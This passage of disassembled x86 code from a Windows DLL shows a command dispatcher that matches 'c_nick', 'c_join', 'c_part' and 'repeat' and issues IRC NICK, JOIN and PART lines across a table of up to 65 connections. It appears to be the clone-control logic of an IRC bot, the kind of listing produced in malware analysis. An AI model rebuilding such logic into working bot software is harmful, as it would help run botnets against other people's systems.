push dword [ebp + edi*4 - 0x80]
push str.c_nick
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10004563
push dword [ebp + edi*4 - 0x80]
push 0x1002676f
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100045cf
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
push str.NICK__s
lea edi, [ebp - 0x314]
push edi
call fcn.100095c5
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
add esp, 0x10
or eax, eax
jle 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
cmp eax, 0x41
jge 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
lea edi, [ebp - 0x314]
push edi
push dword [eax*4 + 0x1002424c]
call fcn.10005661
add esp, 0xc
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.c_join
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x100045ff
push dword [ebp + edi*4 - 0x80]
push 0x10026764
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000466f
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x74]
push dword [ebp + edi*4 - 0x78]
push str.JOIN__s__s
lea edi, [ebp - 0x314]
push edi
call fcn.100095c5
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
add esp, 0x14
or eax, eax
jle 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
cmp eax, 0x41
jge 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
lea edi, [ebp - 0x314]
push edi
push dword [eax*4 + 0x1002424c]
call fcn.10005661
add esp, 0xc
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.c_part
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x1000469f
push dword [ebp + edi*4 - 0x80]
push 0x1002674e
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000470b
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
push str.PART__s
lea edi, [ebp - 0x314]
push edi
call fcn.100095c5
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
add esp, 0x10
or eax, eax
jle 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
cmp eax, 0x41
jge 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
lea edi, [ebp - 0x314]
push edi
push dword [eax*4 + 0x1002424c]
call fcn.10005661
add esp, 0xc
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.repeat
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x1000473f
push dword [ebp + edi*4 - 0x80]
push 0x100267a4
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100047e3
push dword [ebp - 0x7c]
push 0x10026c06
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10004759
pop edi
pop esi
pop ebx
leave
ret